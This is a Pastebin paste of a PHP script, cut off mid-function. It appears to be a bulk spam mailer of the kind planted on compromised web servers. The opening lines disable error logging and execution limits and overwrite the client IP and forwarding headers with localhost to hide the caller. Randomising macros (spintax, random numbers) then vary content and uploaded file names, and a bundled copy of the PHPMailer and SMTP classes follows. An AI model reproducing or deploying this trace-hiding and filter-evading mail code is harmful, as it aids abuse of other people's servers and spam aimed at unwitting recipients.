Guest User

Untitled

a guest
Apr 28th, 2017
544
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.89 KB | None | 0 0
  1. <?php
  2.  
  3. @ini_set('error_log', NULL);
  4. @ini_set('log_errors', 0);
  5. @ini_set('max_execution_time', 0);
  6. @set_time_limit(0);
  7.  
  8. if(isset($_SERVER))
  9. {
  10. $_SERVER['PHP_SELF'] = "/";
  11. $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  12. if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  13. {
  14. $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  15. }
  16. }
  17. if(isset($_FILES))
  18. {
  19. foreach($_FILES as $key => $file)
  20. {
  21. if(!strpos($file['name'], ".jpg"))
  22. {
  23. $filename = alter_macros($file['name']);
  24. $filename = num_macros($filename);
  25. $filename = xnum_macros($filename);
  26. $_FILES[$key]["name"] = $filename;
  27. }
  28. }
  29. }
  30.  
  31. function custom_strip_tags($text)
  32. {
  33. $text = strip_tags($text, '<a>');
  34. $text = str_replace("<a href=\"", "[ ", $text);
  35. $text = str_replace("</a>", "", $text);
  36. $text = str_replace("\">", " ] ", $text);
  37. return $text;
  38. }
  39. function is_ip($str) {
  40. return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  41. }
  42. function from_host($content)
  43. {
  44. $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  45. if (is_ip($host))
  46. {
  47. return $content;
  48. }
  49.  
  50. $tokens = explode("@", $content);
  51. $content = $tokens[0] . "@" . $host . ">";
  52. return $content;
  53. }
  54. function alter_macros($content)
  55. {
  56. preg_match_all('#{(.*)}#Ui', $content, $matches);
  57. for($i = 0; $i < count($matches[1]); $i++)
  58. {
  59. $ns = explode("|", $matches[1][$i]);
  60. $c2 = count($ns);
  61. $rand = rand(0, ($c2 - 1));
  62. $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  63. }
  64. return $content;
  65. }
  66.  
  67. function xnum_macros($content)
  68. {
  69. preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  70. for($i = 0; $i < count($matches[0]); $i++)
  71. {
  72. $num = $matches[1][$i];
  73. $min = pow(10, $num - 1);
  74. $max = pow(10, $num) - 1;
  75. $rand = rand($min, $max);
  76. $content = str_replace($matches[0][$i], $rand, $content);
  77. }
  78. return $content;
  79. }
  80. function num_macros($content)
  81. {
  82. preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  83. for($i = 0; $i < count($matches[0]); $i++)
  84. {
  85. $min = $matches[1][$i];
  86. $max = $matches[2][$i];
  87. $rand = rand($min, $max);
  88. $content = str_replace($matches[0][$i], $rand, $content);
  89. }
  90. return $content;
  91. }
  92.  
  93. function fteil_macros($content, $fteil)
  94. {
  95. return str_replace("[FTEIL]", $fteil, $content);
  96. }
  97. class SMTP
  98. {
  99. const VERSION = '5.2.10';
  100. const CRLF = "\r\n";
  101. const DEFAULT_SMTP_PORT = 25;
  102. const MAX_LINE_LENGTH = 998;
  103. const DEBUG_OFF = 0;
  104. const DEBUG_CLIENT = 1;
  105. const DEBUG_SERVER = 2;
  106. const DEBUG_CONNECTION = 3;
  107. const DEBUG_LOWLEVEL = 4;
  108. public $Version = '5.2.10';
  109. public $SMTP_PORT = 25;
  110. public $CRLF = "\r\n";
  111. public $do_debug = self::DEBUG_OFF;
  112. public $Debugoutput = 'echo';
  113. public $do_verp = false;
  114. public $Timeout = 300;
  115. public $Timelimit = 300;
  116. protected $smtp_conn;
  117. protected $error = array(
  118. 'error' => '',
  119. 'detail' => '',
  120. 'smtp_code' => '',
  121. 'smtp_code_ex' => ''
  122. );
  123. protected $helo_rply = null;
  124. protected $server_caps = null;
  125. protected $last_reply = '';
  126. protected function edebug($str, $level = 0)
  127. {
  128. if ($level > $this->do_debug) {
  129. return;
  130. }
  131. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  132. call_user_func($this->Debugoutput, $str, $this->do_debug);
  133. return;
  134. }
  135. switch ($this->Debugoutput) {
  136. case 'error_log':
  137. error_log($str);
  138. break;
  139. case 'html':
  140. echo htmlentities(
  141. preg_replace('/[\r\n]+/', '', $str),
  142. ENT_QUOTES,
  143. 'UTF-8'
  144. )
  145. . "<br>\n";
  146. break;
  147. case 'echo':
  148. default:
  149. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  150. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  151. "\n",
  152. "\n \t ",
  153. trim($str)
  154. )."\n";
  155. }
  156. }
  157. public function connect($host, $port = null, $timeout = 30, $options = array())
  158. {
  159. static $streamok;
  160. if (is_null($streamok)) {
  161. $streamok = function_exists('stream_socket_client');
  162. }
  163. $this->setError('');
  164. if ($this->connected()) {
  165. $this->setError('Already connected to a server');
  166. return false;
  167. }
  168. if (empty($port)) {
  169. $port = self::DEFAULT_SMTP_PORT;
  170. }
  171. $this->edebug(
  172. "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  173. self::DEBUG_CONNECTION
  174. );
  175. $errno = 0;
  176. $errstr = '';
  177. if ($streamok) {
  178. $socket_context = stream_context_create($options);
  179. $this->smtp_conn = @stream_socket_client(
  180. $host . ":" . $port,
  181. $errno,
  182. $errstr,
  183. $timeout,
  184. STREAM_CLIENT_CONNECT,
  185. $socket_context
  186. );
  187. } else {
  188. $this->edebug(
  189. "Connection: stream_socket_client not available, falling back to fsockopen",
  190. self::DEBUG_CONNECTION
  191. );
  192. $this->smtp_conn = fsockopen(
  193. $host,
  194. $port,
  195. $errno,
  196. $errstr,
  197. $timeout
  198. );
  199. }
  200. if (!is_resource($this->smtp_conn)) {
  201. $this->setError(
  202. 'Failed to connect to server',
  203. $errno,
  204. $errstr
  205. );
  206. $this->edebug(
  207. 'SMTP ERROR: ' . $this->error['error']
  208. . ": $errstr ($errno)",
  209. self::DEBUG_CLIENT
  210. );
  211. return false;
  212. }
  213. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  214. if (substr(PHP_OS, 0, 3) != 'WIN') {
  215. $max = ini_get('max_execution_time');
  216. if ($max != 0 && $timeout > $max) {
  217. @set_time_limit($timeout);
  218. }
  219. stream_set_timeout($this->smtp_conn, $timeout, 0);
  220. }
  221. $announce = $this->get_lines();
  222. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  223. return true;
  224. }
  225. public function startTLS()
  226. {
  227. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  228. return false;
  229. }
  230. if (!stream_socket_enable_crypto(
  231. $this->smtp_conn,
  232. true,
  233. STREAM_CRYPTO_METHOD_TLS_CLIENT
  234. )) {
  235. return false;
  236. }
  237. return true;
  238. }
  239. public function authenticate(
  240. $username,
  241. $password,
  242. $authtype = null,
  243. $realm = '',
  244. $workstation = ''
  245. ) {
  246. if (!$this->server_caps) {
  247. $this->setError('Authentication is not allowed before HELO/EHLO');
  248. return false;
  249. }
  250. if (array_key_exists('EHLO', $this->server_caps)) {
  251. if (!array_key_exists('AUTH', $this->server_caps)) {
  252. $this->setError('Authentication is not allowed at this stage');
  253. return false;
  254. }
  255. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  256. self::edebug(
  257. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  258. self::DEBUG_LOWLEVEL
  259. );
  260. if (empty($authtype)) {
  261. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  262. if (in_array($method, $this->server_caps['AUTH'])) {
  263. $authtype = $method;
  264. break;
  265. }
  266. }
  267. if (empty($authtype)) {
  268. $this->setError('No supported authentication methods found');
  269. return false;
  270. }
  271. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  272. }
  273. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  274. $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  275. return false;
  276. }
  277. } elseif (empty($authtype)) {
  278. $authtype = 'LOGIN';
  279. }
  280. switch ($authtype) {
  281. case 'PLAIN':
  282. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  283. return false;
  284. }
  285. if (!$this->sendCommand(
  286. 'User & Password',
  287. base64_encode("\0" . $username . "\0" . $password),
  288. 235
  289. )
  290. ) {
  291. return false;
  292. }
  293. break;
  294. case 'LOGIN':
  295. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  296. return false;
  297. }
  298. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  299. return false;
  300. }
  301. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  302. return false;
  303. }
  304. break;
  305. case 'NTLM':
  306. require_once 'extras/ntlm_sasl_client.php';
  307. $temp = new stdClass;
  308. $ntlm_client = new ntlm_sasl_client_class;
  309. if (!$ntlm_client->Initialize($temp)) {
  310. $this->setError($temp->error);
  311. $this->edebug(
  312. 'You need to enable some modules in your php.ini file: '
  313. . $this->error['error'],
  314. self::DEBUG_CLIENT
  315. );
  316. return false;
  317. }
  318. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  319. if (!$this->sendCommand(
  320. 'AUTH NTLM',
  321. 'AUTH NTLM ' . base64_encode($msg1),
  322. 334
  323. )
  324. ) {
  325. return false;
  326. }
  327. $challenge = substr($this->last_reply, 3);
  328. $challenge = b64d($challenge);
  329. $ntlm_res = $ntlm_client->NTLMResponse(
  330. substr($challenge, 24, 8),
  331. $password
  332. );
  333. $msg3 = $ntlm_client->TypeMsg3(
  334. $ntlm_res,
  335. $username,
  336. $realm,
  337. $workstation
  338. );
  339. return $this->sendCommand('Username', base64_encode($msg3), 235);
  340. case 'CRAM-MD5':
  341. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  342. return false;
  343. }
  344. $challenge = b64d(substr($this->last_reply, 4));
  345. $response = $username . ' ' . $this->hmac($challenge, $password);
  346. return $this->sendCommand('Username', base64_encode($response), 235);
  347. default:
  348. $this->setError("Authentication method \"$authtype\" is not supported");
  349. return false;
  350. }
  351. return true;
  352. }
  353. protected function hmac($data, $key)
  354. {
  355. if (function_exists('hash_hmac')) {
  356. return hash_hmac('md5', $data, $key);
  357. }
  358. $bytelen = 64; // byte length for md5
  359. if (strlen($key) > $bytelen) {
  360. $key = pack('H*', md5($key));
  361. }
  362. $key = str_pad($key, $bytelen, chr(0x00));
  363. $ipad = str_pad('', $bytelen, chr(0x36));
  364. $opad = str_pad('', $bytelen, chr(0x5c));
  365. $k_ipad = $key ^ $ipad;
  366. $k_opad = $key ^ $opad;
  367. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  368. }
  369. public function connected()
  370. {
  371. if (is_resource($this->smtp_conn)) {
  372. $sock_status = stream_get_meta_data($this->smtp_conn);
  373. if ($sock_status['eof']) {
  374. $this->edebug(
  375. 'SMTP NOTICE: EOF caught while checking if connected',
  376. self::DEBUG_CLIENT
  377. );
  378. $this->close();
  379. return false;
  380. }
  381. return true; // everything looks good
  382. }
  383. return false;
  384. }
  385. public function close()
  386. {
  387. $this->setError('');
  388. $this->server_caps = null;
  389. $this->helo_rply = null;
  390. if (is_resource($this->smtp_conn)) {
  391. fclose($this->smtp_conn);
  392. $this->smtp_conn = null; //Makes for cleaner serialization
  393. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  394. }
  395. }
  396. public function data($msg_data)
  397. {
  398. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  399. return false;
  400. }
  401. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  402. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  403. $in_headers = false;
  404. if (!empty($field) && strpos($field, ' ') === false) {
  405. $in_headers = true;
  406. }
  407. foreach ($lines as $line) {
  408. $lines_out = array();
  409. if ($in_headers and $line == '') {
  410. $in_headers = false;
  411. }
  412. while (isset($line[self::MAX_LINE_LENGTH])) {
  413. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  414. if (!$pos) {
  415. $pos = self::MAX_LINE_LENGTH - 1;
  416. $lines_out[] = substr($line, 0, $pos);
  417. $line = substr($line, $pos);
  418. } else {
  419. $lines_out[] = substr($line, 0, $pos);
  420. $line = substr($line, $pos + 1);
  421. }
  422. if ($in_headers) {
  423. $line = "\t" . $line;
  424. }
  425. }
  426. $lines_out[] = $line;
  427. foreach ($lines_out as $line_out) {
  428. if (!empty($line_out) and $line_out[0] == '.') {
  429. $line_out = '.' . $line_out;
  430. }
  431. $this->client_send($line_out . self::CRLF);
  432. }
  433. }
  434. $savetimelimit = $this->Timelimit;
  435. $this->Timelimit = $this->Timelimit * 2;
  436. $result = $this->sendCommand('DATA END', '.', 250);
  437. $this->Timelimit = $savetimelimit;
  438. return $result;
  439. }
  440. public function hello($host = '')
  441. {
  442. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  443. }
  444. protected function sendHello($hello, $host)
  445. {
  446. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  447. $this->helo_rply = $this->last_reply;
  448. if ($noerror) {
  449. $this->parseHelloFields($hello);
  450. } else {
  451. $this->server_caps = null;
  452. }
  453. return $noerror;
  454. }
  455. protected function parseHelloFields($type)
  456. {
  457. $this->server_caps = array();
  458. $lines = explode("\n", $this->last_reply);
  459. foreach ($lines as $n => $s) {
  460. $s = trim(substr($s, 4));
  461. if (!$s) {
  462. continue;
  463. }
  464. $fields = explode(' ', $s);
  465. if (!empty($fields)) {
  466. if (!$n) {
  467. $name = $type;
  468. $fields = $fields[0];
  469. } else {
  470. $name = array_shift($fields);
  471. if ($name == 'SIZE') {
  472. $fields = ($fields) ? $fields[0] : 0;
  473. }
  474. }
  475. $this->server_caps[$name] = ($fields ? $fields : true);
  476. }
  477. }
  478. }
  479. public function mail($from)
  480. {
  481. $useVerp = ($this->do_verp ? ' XVERP' : '');
  482. return $this->sendCommand(
  483. 'MAIL FROM',
  484. 'MAIL FROM:<' . $from . '>' . $useVerp,
  485. 250
  486. );
  487. }
  488. public function quit($close_on_error = true)
  489. {
  490. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  491. $err = $this->error; //Save any error
  492. if ($noerror or $close_on_error) {
  493. $this->close();
  494. $this->error = $err; //Restore any error from the quit command
  495. }
  496. return $noerror;
  497. }
  498. public function recipient($toaddr)
  499. {
  500. return $this->sendCommand(
  501. 'RCPT TO',
  502. 'RCPT TO:<' . $toaddr . '>',
  503. array(250, 251)
  504. );
  505. }
  506. public function reset()
  507. {
  508. return $this->sendCommand('RSET', 'RSET', 250);
  509. }
  510. protected function sendCommand($command, $commandstring, $expect)
  511. {
  512. if (!$this->connected()) {
  513. $this->setError("Called $command without being connected");
  514. return false;
  515. }
  516. $this->client_send($commandstring . self::CRLF);
  517. $this->last_reply = $this->get_lines();
  518. $matches = array();
  519. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  520. $code = $matches[1];
  521. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  522. $detail = preg_replace(
  523. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  524. '',
  525. $this->last_reply
  526. );
  527. } else {
  528. $code = substr($this->last_reply, 0, 3);
  529. $code_ex = null;
  530. $detail = substr($this->last_reply, 4);
  531. }
  532. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  533. if (!in_array($code, (array)$expect)) {
  534. $this->setError(
  535. "$command command failed",
  536. $detail,
  537. $code,
  538. $code_ex
  539. );
  540. $this->edebug(
  541. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  542. self::DEBUG_CLIENT
  543. );
  544. return false;
  545. }
  546. $this->setError('');
  547. return true;
  548. }
  549. public function sendAndMail($from)
  550. {
  551. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  552. }
  553. public function verify($name)
  554. {
  555. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  556. }
  557. public function noop()
  558. {
  559. return $this->sendCommand('NOOP', 'NOOP', 250);
  560. }
  561. public function turn()
  562. {
  563. $this->setError('The SMTP TURN command is not implemented');
  564. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  565. return false;
  566. }
  567. public function client_send($data)
  568. {
  569. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  570. return fwrite($this->smtp_conn, $data);
  571. }
  572. public function getError()
  573. {
  574. return $this->error;
  575. }
  576. public function getServerExtList()
  577. {
  578. return $this->server_caps;
  579. }
  580. public function getServerExt($name)
  581. {
  582. if (!$this->server_caps) {
  583. $this->setError('No HELO/EHLO was sent');
  584. return null;
  585. }
  586. // the tight logic knot ;)
  587. if (!array_key_exists($name, $this->server_caps)) {
  588. if ($name == 'HELO') {
  589. return $this->server_caps['EHLO'];
  590. }
  591. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  592. return false;
  593. }
  594. $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  595. return null;
  596. }
  597. return $this->server_caps[$name];
  598. }
  599. public function getLastReply()
  600. {
  601. return $this->last_reply;
  602. }
  603. protected function get_lines()
  604. {
  605. if (!is_resource($this->smtp_conn)) {
  606. return '';
  607. }
  608. $data = '';
  609. $endtime = 0;
  610. stream_set_timeout($this->smtp_conn, $this->Timeout);
  611. if ($this->Timelimit > 0) {
  612. $endtime = time() + $this->Timelimit;
  613. }
  614. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  615. $str = @fgets($this->smtp_conn, 515);
  616. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  617. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  618. $data .= $str;
  619. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  620. if ((isset($str[3]) and $str[3] == ' ')) {
  621. break;
  622. }
  623. $info = stream_get_meta_data($this->smtp_conn);
  624. if ($info['timed_out']) {
  625. $this->edebug(
  626. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  627. self::DEBUG_LOWLEVEL
  628. );
  629. break;
  630. }
  631. if ($endtime and time() > $endtime) {
  632. $this->edebug(
  633. 'SMTP -> get_lines(): timelimit reached ('.
  634. $this->Timelimit . ' sec)',
  635. self::DEBUG_LOWLEVEL
  636. );
  637. break;
  638. }
  639. }
  640. return $data;
  641. }
  642. public function setVerp($enabled = false)
  643. {
  644. $this->do_verp = $enabled;
  645. }
  646. public function getVerp()
  647. {
  648. return $this->do_verp;
  649. }
  650. protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  651. {
  652. $this->error = array(
  653. 'error' => $message,
  654. 'detail' => $detail,
  655. 'smtp_code' => $smtp_code,
  656. 'smtp_code_ex' => $smtp_code_ex
  657. );
  658. }
  659. public function setDebugOutput($method = 'echo')
  660. {
  661. $this->Debugoutput = $method;
  662. }
  663. public function getDebugOutput()
  664. {
  665. return $this->Debugoutput;
  666. }
  667. public function setDebugLevel($level = 0)
  668. {
  669. $this->do_debug = $level;
  670. }
  671. public function getDebugLevel()
  672. {
  673. return $this->do_debug;
  674. }
  675. public function setTimeout($timeout = 0)
  676. {
  677. $this->Timeout = $timeout;
  678. }
  679. public function getTimeout()
  680. {
  681. return $this->Timeout;
  682. }
  683. }
  684. class PHPMailer
  685. {
  686. public $Version = '5.2.9';
  687. public $Priority = 3;
  688. public $CharSet = 'iso-8859-1';
  689. public $ContentType = 'text/plain';
  690. public $Encoding = '8bit';
  691. public $ErrorInfo = '';
  692. public $From = 'root@localhost';
  693. public $FromName = 'Root User';
  694. public $Sender = '';
  695. public $ReturnPath = '';
  696. public $Subject = '';
  697. public $Body = '';
  698. public $AltBody = '';
  699. public $Ical = '';
  700. protected $MIMEBody = '';
  701. protected $MIMEHeader = '';
  702. protected $mailHeader = '';
  703. public $WordWrap = 0;
  704. public $Mailer = 'mail';
  705. public $Sendmail = '/usr/sbin/sendmail';
  706. public $UseSendmailOptions = true;
  707. public $PluginDir = '';
  708. public $ConfirmReadingTo = '';
  709. public $Hostname = '';
  710. public $MessageID = '';
  711. public $MessageDate = '';
  712. public $Host = 'localhost';
  713. public $Port = 25;
  714. public $Helo = '';
  715. public $SMTPSecure = '';
  716. public $SMTPAuth = false;
  717. public $Username = '';
  718. public $Password = '';
  719. public $AuthType = '';
  720. public $Realm = '';
  721. public $Workstation = '';
  722. public $Timeout = 300;
  723. public $SMTPDebug = 0;
  724. public $Debugoutput = 'echo';
  725. public $SMTPKeepAlive = false;
  726. public $SingleTo = false;
  727. public $SingleToArray = array();
  728. public $do_verp = false;
  729. public $AllowEmpty = false;
  730. public $LE = "\n";
  731. public $DKIM_selector = '';
  732. public $DKIM_identity = '';
  733. public $DKIM_passphrase = '';
  734. public $DKIM_domain = '';
  735. public $DKIM_private = '';
  736. public $action_function = '';
  737. public $XMailer = '';
  738. protected $smtp = null;
  739. protected $to = array();
  740. protected $cc = array();
  741. protected $bcc = array();
  742. protected $ReplyTo = array();
  743. protected $all_recipients = array();
  744. protected $attachment = array();
  745. protected $CustomHeader = array();
  746. protected $lastMessageID = '';
  747. protected $message_type = '';
  748. protected $boundary = array();
  749. protected $language = array();
  750. protected $error_count = 0;
  751. protected $sign_cert_file = '';
  752. protected $sign_key_file = '';
  753. protected $sign_key_pass = '';
  754. protected $exceptions = false;
  755. const STOP_MESSAGE = 0;
  756. const STOP_CONTINUE = 1;
  757. const STOP_CRITICAL = 2;
  758. const CRLF = "\r\n";
  759. public function __construct($exceptions = false)
  760. {
  761. $this->exceptions = (boolean)$exceptions;
  762. }
  763. public function __destruct()
  764. {
  765. }
  766. private function mailPassthru($to, $subject, $body, $header, $params)
  767. {
  768. //Check overloading of mail function to avoid double-encoding
  769. if (ini_get('mbstring.func_overload') & 1) {
  770. $subject = $this->secureHeader($subject);
  771. } else {
  772. $subject = $this->encodeHeader($this->secureHeader($subject));
  773. }
  774. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  775. $result = @mail($to, $subject, $body, $header);
  776. } else {
  777. $result = @mail($to, $subject, $body, $header, $params);
  778. }
  779. return $result;
  780. }
  781. protected function edebug($str)
  782. {
  783. if ($this->SMTPDebug <= 0) {
  784. return;
  785. }
  786. //Avoid clash with built-in function names
  787. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  788. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  789. return;
  790. }
  791. switch ($this->Debugoutput) {
  792. case 'error_log':
  793. //Don't output, just log
  794. error_log($str);
  795. break;
  796. case 'html':
  797. //Cleans up output a bit for a better looking, HTML-safe output
  798. echo htmlentities(
  799. preg_replace('/[\r\n]+/', '', $str),
  800. ENT_QUOTES,
  801. 'UTF-8'
  802. )
  803. . "<br>\n";
  804. break;
  805. case 'echo':
  806. default:
  807. //Normalize line breaks
  808. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  809. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  810. "\n",
  811. "\n \t ",
  812. trim($str)
  813. ) . "\n";
  814. }
  815. }
  816. public function isHTML($isHtml = true)
  817. {
  818. if ($isHtml) {
  819. $this->ContentType = 'text/html';
  820. } else {
  821. $this->ContentType = 'text/plain';
  822. }
  823. }
  824. public function isSMTP()
  825. {
  826. $this->Mailer = 'smtp';
  827. }
  828. public function isMail()
  829. {
  830. $this->Mailer = 'mail';
  831. }
  832. public function isSendmail()
  833. {
  834. $ini_sendmail_path = ini_get('sendmail_path');
  835. if (!stristr($ini_sendmail_path, 'sendmail')) {
  836. $this->Sendmail = '/usr/sbin/sendmail';
  837. } else {
  838. $this->Sendmail = $ini_sendmail_path;
  839. }
  840. $this->Mailer = 'sendmail';
  841. }
  842. public function isQmail()
  843. {
  844. $ini_sendmail_path = ini_get('sendmail_path');
  845. if (!stristr($ini_sendmail_path, 'qmail')) {
  846. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  847. } else {
  848. $this->Sendmail = $ini_sendmail_path;
  849. }
  850. $this->Mailer = 'qmail';
  851. }
  852. public function addAddress($address, $name = '')
  853. {
  854. return $this->addAnAddress('to', $address, $name);
  855. }
  856. public function addCC($address, $name = '')
  857. {
  858. return $this->addAnAddress('cc', $address, $name);
  859. }
  860. public function addBCC($address, $name = '')
  861. {
  862. return $this->addAnAddress('bcc', $address, $name);
  863. }
  864. public function addReplyTo($address, $name = '')
  865. {
  866. return $this->addAnAddress('Reply-To', $address, $name);
  867. }
  868. protected function addAnAddress($kind, $address, $name = '')
  869. {
  870. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  871. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  872. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  873. if ($this->exceptions) {
  874. throw new phpmailerException('Invalid recipient array: ' . $kind);
  875. }
  876. return false;
  877. }
  878. $address = trim($address);
  879. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  880. if (!$this->validateAddress($address)) {
  881. $this->setError($this->lang('invalid_address') . ': ' . $address);
  882. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  883. if ($this->exceptions) {
  884. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  885. }
  886. return false;
  887. }
  888. if ($kind != 'Reply-To') {
  889. if (!isset($this->all_recipients[strtolower($address)])) {
  890. array_push($this->$kind, array($address, $name));
  891. $this->all_recipients[strtolower($address)] = true;
  892. return true;
  893. }
  894. } else {
  895. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  896. $this->ReplyTo[strtolower($address)] = array($address, $name);
  897. return true;
  898. }
  899. }
  900. return false;
  901. }
  902. public function setFrom($address, $name = '', $auto = true)
  903. {
  904. $address = trim($address);
  905. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  906. if (!$this->validateAddress($address)) {
  907. $this->setError($this->lang('invalid_address') . ': ' . $address);
  908. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  909. if ($this->exceptions) {
  910. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  911. }
  912. return false;
  913. }
  914. $this->From = $address;
  915. $this->FromName = $name;
  916. if ($auto) {
  917. if (empty($this->Sender)) {
  918. $this->Sender = $address;
  919. }
  920. }
  921. return true;
  922. }
  923. public function getLastMessageID()
  924. {
  925. return $this->lastMessageID;
  926. }
  927. public static function validateAddress($address, $patternselect = 'auto')
  928. {
  929. if (!$patternselect or $patternselect == 'auto') {
  930. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  931. //Constant was added in PHP 5.2.4
  932. if (defined('PCRE_VERSION')) {
  933. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  934. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  935. $patternselect = 'pcre8';
  936. } else {
  937. $patternselect = 'pcre';
  938. }
  939. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  940. //Fall back to older PCRE
  941. $patternselect = 'pcre';
  942. } else {
  943. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  944. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  945. $patternselect = 'php';
  946. } else {
  947. $patternselect = 'noregex';
  948. }
  949. }
  950. }
  951. switch ($patternselect) {
  952. case 'pcre8':
  953. return (boolean)preg_match(
  954. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  955. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  956. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  957. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  958. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  959. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  960. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  961. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  962. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  963. $address
  964. );
  965. case 'pcre':
  966. //An older regex that doesn't need a recent PCRE
  967. return (boolean)preg_match(
  968. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
